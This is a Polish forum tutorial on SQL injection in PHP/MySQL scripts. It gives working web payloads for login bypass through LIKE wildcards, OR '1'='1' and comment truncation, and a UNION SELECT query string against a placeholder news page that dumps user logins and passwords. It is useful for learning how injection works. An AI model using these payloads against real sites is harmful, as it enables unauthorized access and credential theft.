[Tutorial]SQL Injection

Magnefikko

Były Moderator
Dołączył
Maj 29, 2004
Posty
709
<div align='center'>SQL Injection
by Magnefikko</div>

Sinis napisał bardzo dobrego tutoriala o SQLI, jednak SQLI jak to SQLI - nigdy nie zbyt wiele informacji, przykładów, wyjaśnień :)
Przedstawię tutaj definicję SQLI bardziej Newbie-Friendly i pokażę jeden czy dwa bardziej uniwersalne przykłady, no i nie sypnę brzydkimi cytatami z Wikipedii. Do roboty więc...

I. Czym jest SQLI?
Krótko mówiąc jest to modyfikowanie zapytań strony do bazy MySQL. Na co to pozwala, przekonamy się za chwilę.

II. Błąd 1 - Like
W języku MySQL istnieje kilka operatorów porównań: <, >, =, LIKE... zajmiemy się tutaj właśnie LIKE.
Kod:
SELECT Login, Haslo FROM Users WHERE Login LIKE '$A' AND Haslo LIKE '$B'
Zapytanie to pobiera zmienne Login i Haslo z tablicy Users, przy czym pobiera je tylko z rekordów w których Login podobny jest do loginu wpisanego przez usera ($A) i hasło jest podobne do tego wpisanego przez usera ($B).
LIKE używane jest kiedy nie chcemy przejmować się wielkością liter, z tego i innego powodu o którym zaraz wspomnimy używane jest we wszelkiego rodzaju szukajkach i tym podobnych skrypciątkach.
Używając operatora porównania LIKE, możemy korzystać z wieloznacznika:
Kod:
%
Toteż na przykład zapytanie:
Kod:
SELECT * FROM TytulyKsiazek WHERE Tytul LIKE 'K%'
Zwróci nam wszystkie tytuły książek z bazy zaczynające się na literę "K" lub "k".
Wnioski są oczwiste:
Kod:
SELECT Login, Haslo FROM Users WHERE Login LIKE '$A' AND Haslo LIKE '$B'
Kod:
$A = Admin
$B = %
Kod:
$A = %
$B = %
No i proszę. :)

III. Evertrue i zamykanie ciągu
Rzućmy okiem na takie zapytanie:
Kod:
SELECT Nick FROM Users WHERE id = $A
Skrypt korzystający z takiego zapytania zwraca nam login użytkownika z tablicy Users gdzie id = $A (wartość wpisana przez usera). Zobaczmy wszystkie nicki w bazie... Coż by się stało gdyby zapytanie wyglądało tak?
Kod:
SELECT Nick FROM Users WHERE id = 4 OR 1=1
Skrypt pobiera nick z tablicy Users gdzie id = 4 lub 1 = 1. 1 zawsze równa się 1, więc ten warunek zawsze jest prawdziwy. Tak więc (w zależności od skryptu) widzimy listę wszystkich użytkowników...
A teraz trochę inna wersja tego samego zapytania:
Kod:
SELECT Nick FROM Users WHERE id = '$A'
Gdy $A = 5:
Kod:
SELECT Nick FROM Users WHERE id = '5'
Żeby zmodyfikować to zapytanie po swojemu, musimy zamknąć ciąg.
Kod:
2' OR 1=1
Kod:
SELECT Nick FROM Users WHERE id = '2' OR 1=1'
A cóż to? Błąd MySQL? Nic dziwnego, na końcu naszego zapytania jest paskudne '. Tożto straszne!
Spróbujmy jeszcze raz:
Kod:
2' OR '1' = '1
Kod:
SELECT Nick FROM Users WHERE id = '2' OR '1' = '1'
I wszystko działa. :)
Należy tu wspomnieć o slashowaniu zmiennych, poprzez na przykład zastosowanie funkcji stripslashes(). Slashowanie polega na wstawieniu przed każdym " czy ' slasha, co w MySQL sprawia, że owo " lub ' jest traktowane jako część ciągu. Po prostu takiego ciągu nie możemy zamknąć.
Wspomnę jeszcze że na serwerach rodzaju yoyo.pl slashowanie zmiennych jest automatyczne.

IV. Komentowanie zapytania
Niewygodną część zapytania możemy uciąć komentarzem.
Kod:
SELECT * FROM Users WHERE Login = '$A' AND Pass = '$B'
Możemy użyć do tego na przykład /*, //, czy -- (najczęściej stosowane - komentarz w języku SQL).
Przykładowo:
Kod:
$A = Admin
$B = ' --
czy
Kod:
$A = Admin
$B = ' /*
albo
Kod:
$A = Admin
$B = ' //
Zapytanie będzie wyglądało tak:
Kod:
SELECT * FROM Users WHERE Login = 'Admin' /* AND Pass = '$B'
Część po znaku komentarza zostanie zignorowana, więc zostanie tylko:
Kod:
SELECT * FROM Users WHERE Login = 'Admin'
I bum. xD

V. Union select i inne zabawki
Weźmy sobie taki kod:
Kod:
<?php
$A = $_GET['Nr'];
$Q = mysql_query("SELECT * FROM Newsy WHERE Nr = '$A'");
while($Z = mysql_fetch_array($Q)){
echo '[b]Data: [/b]'.$Z['Data'].'

[b]Tresc: [/b]'.$Z['TXT'].'

';
}
?>

Ten prosty skrypt pobiera datę i treść newsa z tabeli Newsy o numerze wybranym przez usera.
Baza wygląda tak:

Kod:
Newsy [Data, TXT]
Users [Nr, Login, Pass]

Spróbujmy więc wyciągnąć dane z tabeli Users, jako że tabela Newsy zupełnie nas nie interesuje.
Najpierw sprawdzamy podatność na SQLI.

Kod:
http://www.strona.pl/news.php?Nr=4' fkgjh
MySQL error. Doskonale.
Kod:
http://www.strona.pl/news.php?Nr=4 OR 1=1
MySQL error.
Kod:
http://www.strona.pl/news.php?Nr=4' OR '1' = '1
No i mamy pełną listę newsów. Skrypt jest podatny na atak SQLI.
Weźmy się za wyciąganie danych...
Kod:
http://www.strona.pl/news.php?Nr=4' AND '1' = '2
Tak na dobry początek. Fałszujemy zapytanie pierwotne by zwracało nic.
Kod:
http://www.strona.pl/news.php?Nr=4' AND '1' = '2' UNION SELECT
Union select służy do pobierania danych z kilku tabel jednym zapytainem. Weźmy więc sobie zawartość Users...
Kod:
http://www.strona.pl/news.php?Nr=4' AND '1' = '2' UNION SELECT Login, Pass FROM Users
Błąd MySQL. Czemu? Zobaczmy jak wygląda zapytanie.
Kod:
SELECT * FROM Newsy WHERE Nr = '4' AND '1' = '2' UNION SELECT Login, Pass FROM Users'
Na końcu mamy znak '. Możemy go sobie skomentować, ale załatwimy to inaczej.
Kod:
http://www.strona.pl/news.php?Nr=4' AND '1' = '2' UNION SELECT Login, Pass FROM Users WHERE Login LIKE '%
Kod:
SELECT * FROM Newsy WHERE Nr = '4' AND '1' = '2' UNION SELECT Login, Pass FROM Users WHERE Login LIKE '%'
Zapytanie idealne ale wciąż nic... co jest nie tak?

Kod:
echo '[b]Data: [/b]'.$Z['Data'].'

[b]Tresc: [/b]'.$Z['TXT'].'

';

Ten kod nie pobiera danych po numerze, tylko po nazwie! Pobiera zmienne o nazwach "Data" i "TXT"... Więc, należałoby sprawić by dane z Users tak właśnie się zwały.

Kod:
http://www.strona.pl/news.php?Nr=4' AND '1' = '2' UNION SELECT Login AS Data, Pass AS TXT FROM Users WHERE Login LIKE '%
Kod:
SELECT * FROM Newsy WHERE Nr = '4' AND '1' = '2' UNION SELECT Login AS Data, Pass AS TXT FROM Users WHERE Login LIKE '%'

No i proszę:

Kod:
Data: Mietek
Tresc: taniewino

Data: Admin
Tresc: SsijMojeLogi

Data: Czesio
Tresc: niezlezemnieciacho

(...)

Epilog
Co prawda wiele nie pokazałem, ale - mam nadzieję - zaszczepiłem w newbie umiejętność kreatywnego myślenia :)
Jeszcze jedna ważna uwaga: żeby umieć złamać skrypt, trzeba wiedzieć jak działa lub jak może działać. Mało tego, trzeba umieć napisać taki sam. Toteż uczcie się PHP i MySQL.

Pozdrawiam.

Magnefikko
 
Do góry Bottom